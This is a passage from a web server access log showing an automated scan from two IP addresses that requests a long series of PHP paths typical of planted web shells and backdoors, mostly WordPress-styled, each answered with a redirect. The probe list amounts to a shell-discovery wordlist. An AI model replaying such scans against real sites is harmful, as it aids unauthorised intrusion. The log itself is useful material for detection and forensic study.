"GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:00 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:00 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:00 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:00 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:00 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:00 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:00 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:01 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:01 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:01 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:01 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:01 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:02 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:02 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:02 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:02 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:03 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:03 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:03 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:03 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:03 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:04 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:04 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:05 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:05 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:05 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:05 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:06 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:06 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:06 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:17:06 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:06 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:07 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:07 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:07 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:07 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:07 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:07 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:07 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:08 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:08 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:08 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:09 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:09 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:09 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:09 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:09 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:09 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:10 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:10 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:17:10 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:10 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:10 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:11 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:11 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:11 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:12 -0400] "GET /about/function.php HTTP/1.1" 301 795 